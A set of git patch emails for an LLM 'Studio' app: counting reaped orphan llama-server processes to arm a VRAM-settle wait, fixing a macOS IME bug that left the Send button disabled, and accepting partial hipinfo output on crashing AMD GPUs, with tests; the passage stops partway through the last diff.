Date: Mon, 15 Jun 2026 04:22:12 -0700
Subject: [PATCH 05/91] Studio: arm the VRAM-settle wait after the startup
 orphan reaper (#6315)

On a restart the constructor reaps the previous run's orphaned llama-server, but the driver does not reclaim that VRAM synchronously. _kill_orphaned_servers now returns the number of processes it killed, and __init__ arms _last_kill_monotonic when that count is positive, so the first load_model waits for VRAM to settle before ranking GPUs by free memory instead of pinning the model onto the smaller card. The compute-graph / auto-fit reserve is handled separately in #6312.
---
 studio/backend/core/inference/llama_cpp.py    | 19 +++--
 .../test_llama_cpp_wait_for_vram_settle.py    | 70 +++++++++++++++++++
 2 files changed, 85 insertions(+), 4 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index a4fd07c3b6..00dfe14e63 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -816,7 +816,11 @@ class LlamaCppBackend:
         # to decide whether to wait for the VRAM reclaim to finish.
         self._last_kill_monotonic: float = 0.0
 
-        self._kill_orphaned_servers()
+        _reaped = self._kill_orphaned_servers()
+        if _reaped:
+            # Reaped VRAM frees lazily; arm the settle wait so the first load
+            # waits before ranking GPUs by free memory.
+            self._last_kill_monotonic = time.monotonic()
         atexit.register(self._cleanup)
 
     # ── Properties ────────────────────────────────────────────────
@@ -5081,7 +5085,7 @@ class LlamaCppBackend:
                 self._llama_log_fh = None
 
     @staticmethod
-    def _kill_orphaned_servers():
+    def _kill_orphaned_servers() -> int:
         """Kill orphaned llama-server processes started by studio.
 
         Only kills processes whose resolved binary lives under a known
@@ -5093,7 +5097,11 @@ class LlamaCppBackend:
         Uses psutil for cross-platform support (Linux, macOS, Windows);
         falls back to pgrep + /proc/<pid>/exe on Linux when psutil is
         absent.
+
+        Returns the count of processes killed; callers arm the VRAM-settle
+        wait on a positive count.
         """
+        killed = 0
         try:
             # -- Build the ownership allowlist --------------------------------
             # exact_binaries -- env var overrides (exact path match).
@@ -5185,6 +5193,7 @@ class LlamaCppBackend:
                             continue
 
                         proc.kill()
+                        killed += 1
                         logger.info(
                             f"Killed orphaned llama-server process (pid={proc.info['pid']})"
                         )
@@ -5197,7 +5206,7 @@ class LlamaCppBackend:
             else:
                 # -- Fallback: pgrep + /proc/<pid>/exe (Linux only) -----------
                 if sys.platform != "linux":
-                    return
+                    return killed
                 result = subprocess.run(
                     ["pgrep", "-a", "-f", "llama-server"],
                     capture_output = True,
@@ -5206,7 +5215,7 @@ class LlamaCppBackend:
                     env = child_env_without_native_path_secret(),
                 )
                 if result.returncode != 0:
-                    return
+                    return killed
 
                 for line in result.stdout.strip().splitlines():
                     parts = line.strip().split(None, 1)
@@ -5237,6 +5246,7 @@ class LlamaCppBackend:
 
                     try:
                         os.kill(pid, signal.SIGKILL)
+                        killed += 1
                         logger.info(f"Killed orphaned llama-server process (pid={pid})")
                     except ProcessLookupError:
                         pass
@@ -5244,6 +5254,7 @@ class LlamaCppBackend:
                         pass
         except Exception:
             logger.warning("Error during orphan server cleanup", exc_info = True)
+        return killed
 
     def _cleanup(self):
         """atexit handler to ensure llama-server is terminated."""
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
index 493bb93e8c..7f1d0c8a42 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
@@ -315,3 +315,73 @@ def test_helper_is_static_method_callable_off_class():
         LlamaCppBackend._wait_for_vram_settle(
             **_kw(max_wait = 0.1, interval = 0.05),
         )
+
+
+# ---------------------------------------------------------------------------
+# Startup orphan-reaper arms the settle clock (the "wrong card after restart"
+# root cause: reaped VRAM frees lazily, so the first load must wait).
+# ---------------------------------------------------------------------------
+
+
+def test_kill_orphaned_servers_returns_count():
+    """The reaper reports how many owned orphans it killed, so __init__ can
+    arm the settle wait. Only Studio-owned llama-server procs count."""
+    import os
+
+    mypid = os.getpid()
+    fake_path = "/tmp/unsloth-test-llama/llama-server"
+    killed: list[int] = []
+
+    class _FakeProc:
+        def __init__(self, pid, name, exe):
+            self.info = {"pid": pid, "name": name, "exe": exe}
+
+        def kill(self):
+            killed.append(self.info["pid"])
+
+    owned = _FakeProc(mypid + 1, "llama-server", fake_path)  # exact-path match
+    foreign = _FakeProc(mypid + 2, "llama-server", "/usr/bin/llama-server")
+    unrelated = _FakeProc(mypid + 3, "python3", "/usr/bin/python3")
+
+    fake_psutil = _types.ModuleType("psutil")
+    fake_psutil.NoSuchProcess = type("NoSuchProcess", (Exception,), {})
+    fake_psutil.AccessDenied = type("AccessDenied", (Exception,), {})
+    fake_psutil.ZombieProcess = type("ZombieProcess", (Exception,), {})
+    fake_psutil.process_iter = lambda attrs = None: [owned, foreign, unrelated]
+
+    with (
+        patch.dict(sys.modules, {"psutil": fake_psutil}),
+        patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}),
+    ):
+        n = LlamaCppBackend._kill_orphaned_servers()
+    assert n == 1, "only the Studio-owned orphan should be counted"
+    assert killed == [mypid + 1]
+
+    # No owned orphans -> zero, so __init__ leaves the cold-start sentinel.
+    fake_psutil.process_iter = lambda attrs = None: [foreign, unrelated]
+    killed.clear()
+    with (
+        patch.dict(sys.modules, {"psutil": fake_psutil}),
+        patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}),
+    ):
+        assert LlamaCppBackend._kill_orphaned_servers() == 0
+    assert killed == []
+
+
+def test_startup_reaper_arms_settle_timestamp():
+    """__init__ arms ``_last_kill_monotonic`` when the startup reaper kills an
+    orphan (so the first load_model waits for VRAM to settle), and leaves the
+    0.0 cold-start sentinel when nothing was reaped."""
+    with patch.object(LlamaCppBackend, "_kill_orphaned_servers", staticmethod(lambda: 1)):
+        before = time.monotonic()
+        backend = LlamaCppBackend()
+        after = time.monotonic()
+    assert (
+        before <= backend._last_kill_monotonic <= after
+    ), "a positive reap count must arm the settle clock"
+
+    with patch.object(LlamaCppBackend, "_kill_orphaned_servers", staticmethod(lambda: 0)):
+        backend_cold = LlamaCppBackend()
+    assert (
+        backend_cold._last_kill_monotonic == 0.0
+    ), "no reap must leave the cold-start sentinel so the wait is skipped"

From a8c20124015838cd496ce0abf0af25de10b521c5 Mon Sep 17 00:00:00 2001
From: narakai <narakai@126.com>
Date: Mon, 15 Jun 2026 19:24:52 +0800
Subject: [PATCH 06/91] Studio: fix Mac IME input-method switch leaving
 composer Send disabled (#5762)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* Studio: fix Mac IME input-method switch leaving composer Send disabled

On macOS, switching input method (Ctrl+Space / menu-bar language icon)
fires compositionstart but never compositionend — leaving composingRef
pinned at true and the Send button permanently disabled even after
switching back to English.

Two immediate recovery paths added to useImeComposerInputHandlers
(thread.tsx) and SharedComposer (shared-composer.tsx):

* onKeyDown else-if: clears composingRef on the first non-IME keystroke
  after a stuck composition, unblocking Send on that very keydown rather
  than waiting for the 2500ms watchdog.
* onBlur handler: clears composingRef unconditionally on textarea focus
  loss — safe because the OS always commits or cancels any active
  composition before surrendering focus to another element.

Two new Playwright regression steps (6e, 6f) added to
playwright_chat_ime_i18n.py assert recovery within 1500ms (well below
the 2500ms watchdog), covering both recovery paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix IME regression test idle handoff for PR #5762

* Fix IME cleanup console guard for PR #5762

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix IME Enter guard for PR #5762

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 .../src/components/assistant-ui/thread.tsx    |  27 ++-
 .../src/features/chat/shared-composer.tsx     |  22 +-
 tests/studio/playwright_chat_ime_i18n.py      | 225 +++++++++++++++++-
 .../test_composer_rtl_bidi_attribute.py       |  39 ++-
 4 files changed, 301 insertions(+), 12 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index ec252b74a8..838fce4fa7 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -1416,11 +1416,35 @@ function useImeComposerInputHandlers() {
       if (e.nativeEvent.isComposing || e.keyCode === 229) {
         composingRef.current = true;
         refreshStuckTimer();
+      } else if (composingRef.current) {
+        // Candidate-confirming Enter can arrive as non-composing; keep it gated.
+        if (e.key === "Enter") {
+          if (!e.shiftKey) {
+            e.preventDefault();
+          }
+          refreshStuckTimer();
+          return;
+        }
+        // Non-IME key while composingRef is stuck; the input method was likely
+        // switched away on macOS without firing compositionend (issue #5546
+        // pattern, but triggered by input-method switch rather than WSL).
+        // Clear immediately so Send is unblocked on the first non-IME keystroke
+        // rather than waiting for the 2500ms watchdog.
+        setCompositionState(false);
       }
     },
-    [refreshStuckTimer],
+    [refreshStuckTimer, setCompositionState],
   );
 
+  // On macOS, switching input methods (e.g. ABC → Pinyin) while the textarea
+  // is focused can fire compositionstart without a matching compositionend,
+  // leaving composingRef pinned and Send permanently blocked. The OS always
+  // commits or cancels any in-progress composition before surrendering focus,
+  // so blur is a safe unconditional reset point.
+  const onBlur = useCallback(() => {
+    setCompositionState(false);
+  }, [setCompositionState]);
+
   return {
     inputProps: {
       onCompositionStart,
@@ -1428,6 +1452,7 @@ function useImeComposerInputHandlers() {
       onCompositionEnd,
       onChange,
       onKeyDown,
+      onBlur,
     },
     isComposing,
     isComposingRef: composingRef,
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index 40063705ab..cbfc42c6ae 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -746,7 +746,7 @@ export function SharedComposer({
       queueIndexRef.current = 0;
       setQueueProgress({ current: 0, total: 0 });
       toast.error("Prompt queue stopped", {
-        description: "A compare step failed — remaining prompts were not sent.",
+        description: "A compare step failed; remaining prompts were not sent.",
       });
       return;
     }
@@ -1113,6 +1113,20 @@ export function SharedComposer({
       refreshStuckImeTimer();
       return;
     }
+    // Non-IME key while composingRef is stuck; mirrors the fix in thread.tsx.
+    // On macOS, switching input methods without composing can leave composingRef
+    // pinned; clear it immediately on the first non-IME keystroke.
+    if (composingRef.current) {
+      // Candidate-confirming Enter can arrive as non-composing; keep it gated.
+      if (e.key === "Enter") {
+        if (!e.shiftKey) {
+          e.preventDefault();
+        }
+        refreshStuckImeTimer();
+        return;
+      }
+      setCompositionState(false);
+    }
     if (e.key === "Enter" && !e.shiftKey) {
       e.preventDefault();
       if (!busy) {
@@ -1396,6 +1410,12 @@ export function SharedComposer({
           setText(e.currentTarget.value);
         }}
         onKeyDown={onKeyDown}
+        onBlur={() => {
+          // Mac: switching input methods can fire compositionstart without a
+          // matching compositionend, leaving composingRef pinned. The OS always
+          // commits or cancels composition before the element loses focus.
+          setCompositionState(false);
+        }}
         placeholder="Send to both models..."
         className="composer-input"
         rows={1}
diff --git a/tests/studio/playwright_chat_ime_i18n.py b/tests/studio/playwright_chat_ime_i18n.py
index f27266193d..7686013fcf 100644
--- a/tests/studio/playwright_chat_ime_i18n.py
+++ b/tests/studio/playwright_chat_ime_i18n.py
@@ -3,12 +3,14 @@
 
 """Studio chat composer IME + multilingual regression smoke.
 
-Covers three surfaces:
+Covers four surfaces:
   A. Stuck IME composition (#5318 / PR #5327): duplicate compositionstart with
      no compositionend left isComposing=true, dropping keystrokes.
   B. Multilingual paste round-trip across 31 scripts (Unicode plumbing).
   C. Stuck compositionend (#5546): WSL Chrome never fires compositionend,
      wedging Send disabled; the useImeComposerInputHandlers watchdog releases it.
+  D. Mac input-method switch: compositionstart without compositionend leaves
+     composingRef stuck; keydown and blur recover immediately.
 
 Model-free; the bug surface is the composer, not inference.
 Env contract matches playwright_chat_ui.py: BASE_URL, STUDIO_NEW_PW, PW_ART_DIR,
@@ -123,6 +125,7 @@ with sync_playwright() as p:
 
     page_errors: list[str] = []
     console_errors: list[str] = []
+    expected_probe_cancel_500s = [0]
 
     def _on_console(m):
         if m.type != "error":
@@ -294,6 +297,29 @@ with sync_playwright() as p:
     def clear() -> None:
         set_value_via_setter("")
 
+    def restore_idle_composer_after_probe(label: str) -> None:
+        """Cancel a real run started by a submit probe before the next case."""
+        stop_btn = page.locator('button[aria-label="Stop generating"]')
+        send_btn = page.locator('button[aria-label="Send message"]')
+        allowed_cancel_500 = False
+        try:
+            stop_btn.wait_for(state = "visible", timeout = 5_000)
+            expected_probe_cancel_500s[0] += 1
+            allowed_cancel_500 = True
+            stop_btn.click(timeout = 5_000)
+            info(f"{label}: stopped generation started by submit probe")
+        except Exception:
+            if allowed_cancel_500:
+                expected_probe_cancel_500s[0] = max(0, expected_probe_cancel_500s[0] - 1)
+        try:
+            expect(send_btn).to_be_visible(timeout = 15_000)
+        except Exception:
+            shoot(f"{label}-idle-restore-FAIL")
+            fail(
+                "Composer did not return to idle after the submit probe; "
+                "Send button is unavailable for the next IME regression case."
+            )
+
     # 3. Baseline: ASCII keyboard typing works. Bail fast if not.
     step("baseline ASCII keyboard typing")
     clear()
@@ -437,7 +463,7 @@ with sync_playwright() as p:
                 bubbles:true, inputType:'insertCompositionText',
                 data:'你好', isComposing:true,
             }));
-            // Deliberately omit compositionend — that is the WSL/Chrome
+            // Deliberately omit compositionend; that is the WSL/Chrome
             // bug surface. The watchdog in useImeComposerInputHandlers
             // should reset isComposing after IME_STUCK_TIMEOUT_MS.
         }"""
@@ -453,7 +479,7 @@ with sync_playwright() as p:
         except Exception:
             shoot("06b-compositionend-watchdog-FAIL")
             fail(
-                "Send button stayed disabled with no compositionend — "
+                "Send button stayed disabled with no compositionend; "
                 "watchdog did not release the composing flag (issue #5546)."
             )
     after_value = read_value()
@@ -521,7 +547,7 @@ with sync_playwright() as p:
     # 6d. Keydown re-pin must also re-arm the watchdog. On the WSL+Chrome
     #     stuck-compositionend path no follow-up event arrives, so after keydown
     #     re-pins composingRef the watchdog must clear it again or Send re-locks
-    #     permanently. (Codex P1, commit 597af0d0.)
+    #     permanently.
     step("BUG REPRO: keydown re-pin re-arms watchdog (#5546 follow-up regression)")
     clear()
     composer.click()
@@ -582,7 +608,7 @@ with sync_playwright() as p:
         fail(
             "After the keydown re-pin the watchdog never re-armed; Send "
             "stayed permanently locked on the WSL+Chrome stuck-end path "
-            "(#5546 follow-up Codex P1)."
+            "(#5546 follow-up regression)."
         )
     info(
         "watchdog re-armed after keydown re-pin: textarea flushed from "
@@ -590,13 +616,196 @@ with sync_playwright() as p:
     )
     shoot("06d-keydown-rearm")
     info("keydown re-pin re-arm PASS")
+    restore_idle_composer_after_probe("06d-keydown-rearm")
+    clear()
+
+    # 6e. Mac input-method switch - onKeyDown immediate recovery.
+    #     On macOS, pressing Ctrl+Space or clicking the menu-bar language icon
+    #     fires compositionstart but never fires compositionend (the OS commits
+    #     nothing because no candidate was selected). When the user types their
+    #     first English key after switching back, onKeyDown receives a native
+    #     event with isComposing=false and a regular keyCode. The else-if branch
+    #     added for this bug clears composingRef immediately, before the 2500ms
+    #     watchdog would fire, so Send is unblocked on that very keystroke.
+    #
+    #     To isolate the onKeyDown else-if path (and not the onChange path which
+    #     also clears composing on normal input), we dispatch a synthetic KeyboardEvent
+    #     with isComposing=false but do NOT dispatch a follow-up input event.
+    #     onChange never fires, so the only recovery path is onKeyDown.
+    step("BUG REPRO: Mac IME switch - onKeyDown immediate recovery")
+    clear()
+    composer.click()
+    # Seed sendable content so the Send button's state reflects composition
+    # state only, not empty-content gating. set_value_via_setter uses
+    # insertFromPaste which is not composing, so composingRef stays false here.
+    set_value_via_setter("hello")
+    # Simulate switching TO Chinese input method: compositionstart fires but
+    # compositionend never arrives (user switched away without committing text).
+    composer.evaluate(
+        """(el) => {
+            el.focus();
+            el.dispatchEvent(new CompositionEvent('compositionstart', {bubbles:true, data:''}));
+        }"""
+    )
+    # Give React a tick to process the compositionstart and update isComposing.
+    page.wait_for_timeout(200)
+    send_btn_mac_kd = page.locator('button[aria-label="Send message"]')
+    # Dispatch ONLY a keydown (isComposing=false, keyCode=65) with no follow-up
+    # input event. This fires onKeyDown but NOT onChange, so the else-if branch
+    # is the only path that can clear composingRef. page.keyboard.type() would
+    # also fire an input event and trigger onChange, which already clears
+    # composing on ASCII input, which would make the test a false positive.
+    composer.evaluate(
+        """(el) => {
+            el.focus();
+            el.dispatchEvent(new KeyboardEvent('keydown', {
+                bubbles: true, key: 'a', code: 'KeyA', keyCode: 65,
+                isComposing: false,
+            }));
+        }"""
+    )
+    if send_btn_mac_kd.count() == 0:
+        soft_fail("Send button not found for Mac IME switch (onKeyDown) repro")
+    else:
+        try:
+            # 1500ms is well below the 2500ms watchdog: only the onKeyDown
+            # else-if path can clear composingRef this quickly.
+            expect(send_btn_mac_kd).not_to_be_disabled(timeout = 1_500)
+            info(
+                "Send button enabled within 1500ms after Mac IME switch + "
+                "English keydown (onKeyDown else-if branch fired, not watchdog)"
+            )
+        except Exception:
+            shoot("06e-mac-ime-keydown-FAIL")
+            fail(
+                "Send button stayed disabled after Mac input-method switch + "
+                "English keydown; the onKeyDown else-if branch did not clear "
+                "composingRef immediately (expected recovery in < 1500ms)."
+            )
+    shoot("06e-mac-ime-keydown")
+    info("Mac IME switch onKeyDown recovery PASS")
+    clear()
+
+    # 6f. Candidate-confirming Enter must not unblock submit.
+    #     Some IMEs/browsers report the candidate-confirming Enter as
+    #     isComposing=false with keyCode=13 while composingRef is still pinned.
+    #     That Enter must be swallowed and keep Send disabled; otherwise it can
+    #     become a form submit before the candidate is committed.
+    step("BUG REPRO: Mac IME switch - Enter must not unblock submit")
+    clear()
+    composer.click()
+    set_value_via_setter("hello")
+    composer.evaluate(
+        """(el) => {
+            el.focus();
+            el.dispatchEvent(new CompositionEvent('compositionstart', {bubbles:true, data:''}));
+        }"""
+    )
+    page.wait_for_timeout(200)
+    send_btn_mac_enter = page.locator('button[aria-label="Send message"]')
+    composer.evaluate(
+        """(el) => {
+            el.focus();
+            el.dispatchEvent(new KeyboardEvent('keydown', {
+                bubbles: true, cancelable: true, key: 'Enter', code: 'Enter',
+                keyCode: 13, isComposing: false,
+            }));
+        }"""
+    )
+    try:
+        expect(send_btn_mac_enter).to_be_disabled(timeout = 500)
+        info("Enter while composingRef is stuck kept Send disabled")
+    except Exception:
+        shoot("06f-mac-ime-enter-guard-FAIL")
+        fail(
+            "Enter cleared a stuck composingRef immediately; candidate-confirming "
+            "Enter can fall through to submit."
+        )
+    composer.evaluate(
+        """(el) => {
+            el.focus();
+            el.dispatchEvent(new KeyboardEvent('keydown', {
+                bubbles: true, key: 'a', code: 'KeyA', keyCode: 65,
+                isComposing: false,
+            }));
+        }"""
+    )
+    try:
+        expect(send_btn_mac_enter).not_to_be_disabled(timeout = 1_500)
+        info("non-Enter key after Enter guard still recovers immediately")
+    except Exception:
+        shoot("06f-mac-ime-enter-guard-recovery-FAIL")
+        fail("After guarding Enter, a later non-IME key did not clear composingRef immediately.")
+    shoot("06f-mac-ime-enter-guard")
+    info("Mac IME switch Enter guard PASS")
+    clear()
+
+    # 6g. Mac input-method switch - onBlur immediate recovery.
+    #     Some Mac IME switches steal focus from the textarea (e.g. clicking
+    #     the menu-bar language icon). The onBlur handler added for this bug
+    #     resets composingRef unconditionally when the textarea loses focus.
+    #     This is always safe: the OS commits or cancels any active composition
+    #     before surrendering focus, so blur is a reliable reset point.
+    step("BUG REPRO: Mac IME switch - onBlur immediate recovery")
+    clear()
+    composer.click()
+    # Seed sendable content so the Send button's enabled/disabled state reflects
+    # composition state only, not empty-content gating.
+    set_value_via_setter("hello")
+    # Simulate switching TO Chinese: compositionstart fires, compositionend never comes.
+    composer.evaluate(
+        """(el) => {
+            el.focus();
+            el.dispatchEvent(new CompositionEvent('compositionstart', {bubbles:true, data:''}));
+        }"""
+    )
+    page.wait_for_timeout(200)
+    send_btn_mac_blur = page.locator('button[aria-label="Send message"]')
+    # Blur the textarea to simulate the OS stealing focus during an IME switch
+    # (e.g. the user clicks the menu-bar language icon).
+    composer.evaluate("(el) => el.blur()")
+    # onBlur calls setCompositionState(false) immediately; re-focus so React
+    # can render the updated Send-button state and we can locate it.
+    composer.click()
+    if send_btn_mac_blur.count() == 0:
+        soft_fail("Send button not found for Mac IME switch (onBlur) repro")
+    else:
+        try:
+            # 1500ms is well below the 2500ms watchdog: only onBlur can clear
+            # composingRef this quickly when no keydown is fired.
+            expect(send_btn_mac_blur).not_to_be_disabled(timeout = 1_500)
+            info(
+                "Send button enabled within 1500ms after Mac IME switch + "
+                "textarea blur (onBlur handler fired, not watchdog)"
+            )
+        except Exception:
+            shoot("06f-mac-ime-blur-FAIL")
+            fail(
+                "Send button stayed disabled after Mac input-method switch + "
+                "textarea blur; the onBlur handler did not reset composingRef "
+                "(expected recovery in < 1500ms)."
+            )
+    shoot("06g-mac-ime-blur")
+    info("Mac IME switch onBlur recovery PASS")
     clear()
 
     # 7. Final state. Filter benign 401 noise from the change-password redirect
     #    via is_benign_*; fail only on real errors.
     shoot("07-final")
     real_page_errors = [e for e in page_errors if not is_benign_page_error(e)]
-    real_console_errors = [e for e in console_errors if not is_benign_console_error(e)]
+    probe_cancel_500_allowance = expected_probe_cancel_500s[0]
+    real_console_errors = []
+    for error in console_errors:
+        if is_benign_console_error(error):
+            continue
+        if (
+            probe_cancel_500_allowance > 0
+            and "Failed to load resource: the server responded with a status of 500" in error
+            and "Internal Server Error" in error
+        ):
+            probe_cancel_500_allowance -= 1
+            continue
+        real_console_errors.append(error)
     info(
         f"page_errors={len(page_errors)} ({len(real_page_errors)} non-benign); "
         f"console_errors={len(console_errors)} "
@@ -621,7 +830,9 @@ with sync_playwright() as p:
         f"DONE: ascii=OK paste={len(I18N_SAMPLES)}/{len(I18N_SAMPLES)} "
         f"normal_composition=OK stuck_recovery=OK "
         f"compositionend_watchdog=OK keydown_repin=OK "
-        f"keydown_repin_rearm=OK"
+        f"keydown_repin_rearm=OK "
+        f"mac_ime_switch_keydown=OK mac_ime_switch_enter_guard=OK "
+        f"mac_ime_switch_blur=OK"
     )
     _watchdog.cancel()
     browser.close()
diff --git a/tests/studio/test_composer_rtl_bidi_attribute.py b/tests/studio/test_composer_rtl_bidi_attribute.py
index 33e5c450cf..f1eb75035c 100644
--- a/tests/studio/test_composer_rtl_bidi_attribute.py
+++ b/tests/studio/test_composer_rtl_bidi_attribute.py
@@ -155,8 +155,7 @@ def _extract_block(
 def test_main_composer_keydown_rearms_watchdog():
     """After the keydown re-pin sets composingRef=true the watchdog must
     be re-armed; otherwise the WSL+Chrome no-compositionend path this PR
-    targets would lock Send permanently after any IME keypress
-    (Codex P1 on commit 597af0d0)."""
+    targets would lock Send permanently after any IME keypress."""
     src = THREAD_TSX.read_text()
     block = _extract_block(src, "const onKeyDown = useCallback")
     assert "refreshStuckTimer" in block, (
@@ -168,7 +167,7 @@ def test_main_composer_keydown_rearms_watchdog():
         "clearStuckTimer,", ""
     ), (
         "main composer keydown gate must not leave the watchdog only "
-        "cleared — that's the Codex P1 regression"
+        "cleared; that would regress the stuck-compositionend path"
     )
 
 
@@ -180,3 +179,37 @@ def test_compare_composer_keydown_rearms_watchdog():
         "compare composer keydown gate must call refreshStuckImeTimer "
         "after re-pinning composingRef"
     )
+
+
+def _assert_enter_guard_before_immediate_recovery(block: str, refresh_call: str) -> None:
+    enter_idx = block.find('e.key === "Enter"')
+    recovery_idx = block.find("setCompositionState(false)")
+    assert enter_idx != -1, "keydown handler is missing an Enter guard"
+    assert recovery_idx != -1, "keydown handler is missing immediate recovery"
+    assert enter_idx < recovery_idx, (
+        "stuck-composition recovery must guard Enter before clearing "
+        "composingRef; candidate-confirming Enter must not submit"
+    )
+    guard_block = block[enter_idx:recovery_idx]
+    assert "preventDefault()" in guard_block, (
+        "Enter while composingRef is stuck must prevent the same key from "
+        "falling through to submit"
+    )
+    assert (
+        refresh_call in guard_block
+    ), "Enter while composingRef is stuck must keep the watchdog armed"
+    assert (
+        "return;" in guard_block
+    ), "Enter while composingRef is stuck must not reach immediate recovery"
+
+
+def test_main_composer_stuck_enter_does_not_clear_before_submit():
+    src = THREAD_TSX.read_text()
+    block = _extract_block(src, "const onKeyDown = useCallback")
+    _assert_enter_guard_before_immediate_recovery(block, "refreshStuckTimer")
+
+
+def test_compare_composer_stuck_enter_does_not_clear_before_submit():
+    src = SHARED_TSX.read_text()
+    block = _extract_block(src, "function onKeyDown", opener = "{", closer = "}")
+    _assert_enter_guard_before_immediate_recovery(block, "refreshStuckImeTimer")

From 08c3878919f48bb6a294ff4aaf66b645fab7310a Mon Sep 17 00:00:00 2001
From: Matt Van Horn <mvanhorn@users.noreply.github.com>
Date: Mon, 15 Jun 2026 04:26:04 -0700
Subject: [PATCH 07/91] fix: use partial hipinfo output on crash to avoid CPU
 fallback (RDNA 4 / gfx1200) (#6292)

* fix: use partial hipinfo output on crash to avoid CPU fallback (#6043)

`hipinfo.exe` on some RDNA 4 hosts (e.g. RX 9060 XT / gfx1200) exits
with STATUS_ACCESS_VIOLATION (0xC0000005) after printing the
gcnArchName line.  The previous guard `$LASTEXITCODE -eq 0` in
studio/setup.ps1 and `if result.returncode == 0` in
install_python_stack.py discarded this partial-but-valid output,
causing the installer to fall through to WMI name inference which sets
HasROCm=false and installs CPU PyTorch instead of the ROCm wheel.

Fix: check for gcnArchName in stdout first; accept the arch regardless
of exit code.  Only fall through to the amd-smi / WMI path when no
gcnArchName is present at all (crash before any output, or a genuine
"no device" error).  A cyan INFO substep is emitted when the arch is
recovered from a crashed hipinfo run so users can see what happened.

Adds a regression test covering the crash-with-valid-output path.

Fixes #6043

* Fix/adjust hipinfo crash fallback for PR #6292

---------

Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 install.ps1                               | 11 +++++--
 studio/install_python_stack.py            | 24 ++++++++------
 studio/setup.ps1                          | 11 +++++--
 tests/studio/install/test_rocm_support.py | 40 +++++++++++++++++++++--
 4 files changed, 70 insertions(+), 16 deletions(-)

diff --git a/install.ps1 b/install.ps1
index dccd8e4fc1..1073ab5726 100644
--- a/install.ps1
+++ b/install.ps1
@@ -1553,7 +1553,9 @@ shell.Run cmd, 0, False
             $HipSdkInstalled = $true   # binary found → SDK is installed regardless of device state
             try {
                 $hipOut = & $hipinfoExe.Source 2>&1 | Out-String
-                if ($LASTEXITCODE -eq 0 -and $hipOut -match "(?i)gcnArchName") {
+                if ($hipOut -match "(?i)gcnArchName") {
+                    # hipinfo can crash after printing gcnArchName (#6043).
+                    # Once the arch is printed, keep the ROCm wheel path.
                     $HasROCm = $true
                     $_hipAllArches = @([regex]::Matches($hipOut, "(?im)^\s*gcnArchName\s*:\s*(\S+)") | ForEach-Object { ($_.Groups[1].Value -split ':')[0].Trim().ToLower() })
                     $_hipVisIdx = if ($env:HIP_VISIBLE_DEVICES -match '^\d') { [int]($env:HIP_VISIBLE_DEVICES -split ',')[0] } elseif ($env:ROCR_VISIBLE_DEVICES -match '^\d') { [int]($env:ROCR_VISIBLE_DEVICES -split ',')[0] } else { 0 }
@@ -1563,8 +1565,13 @@ shell.Run cmd, 0, False
                     } else {
                         $ROCmGpuLabel = "AMD ROCm"
                     }
+                    if ($LASTEXITCODE -ne 0) {
+                        Write-Host "  [INFO] hipinfo exited with code $LASTEXITCODE but reported gcnArchName -- treating as ROCm-capable (see #6043)" -ForegroundColor Cyan
+                    }
                 } elseif ($LASTEXITCODE -ne 0) {
-                    # hipinfo ran but returned a HIP runtime error (e.g. "no ROCm-capable device detected")
+                    # hipinfo ran but returned a HIP runtime error without any gcnArchName
+                    # output (e.g. "no ROCm-capable device detected"), or crashed before
+                    # printing device info.
                     $firstLine = ($hipOut -split '\r?\n' | Where-Object { $_.Trim() } | Select-Object -First 1)
                     Write-Host "  [WARN] hipinfo returned a HIP runtime error (exit $LASTEXITCODE)" -ForegroundColor Yellow
                     Write-Host "         $firstLine" -ForegroundColor Yellow
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index d404041ca7..a8bd73ad9b 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -354,16 +354,20 @@ def _detect_windows_gfx_arch() -> str | None:
                 stderr = subprocess.DEVNULL,
                 timeout = 10,
             )
-            if result.returncode == 0:
-                text = result.stdout.decode(errors = "replace")
-                # findall gets every gcnArchName line so multi-GPU hosts are
-                # enumerable and HIP_VISIBLE_DEVICES selects correctly.
-                _tokens = [
-                    t.strip().lower() for t in re.findall(r"(?im)^\s*gcnArchName\s*:\s*(\S+)", text)
-                ]
-                _pick = _dedup_pick(_tokens)
-                if _pick:
-                    return _pick
+            # Accept partial output even when hipinfo crashes (e.g. exit code
+            # 0xC0000005 / STATUS_ACCESS_VIOLATION on some RDNA 4 hosts): if
+            # gcnArchName is present in stdout the device was enumerated before
+            # the crash, so the arch is trustworthy.  Ignoring it causes a
+            # silent CPU PyTorch fallback (issue #6043).
+            text = result.stdout.decode(errors = "replace")
+            # findall gets every gcnArchName line so multi-GPU hosts are
+            # enumerable and HIP_VISIBLE_DEVICES selects correctly.
+            _tokens = [
+                t.strip().lower() for t in re.findall(r"(?im)^\s*gcnArchName\s*:\s*(\S+)", text)
+            ]
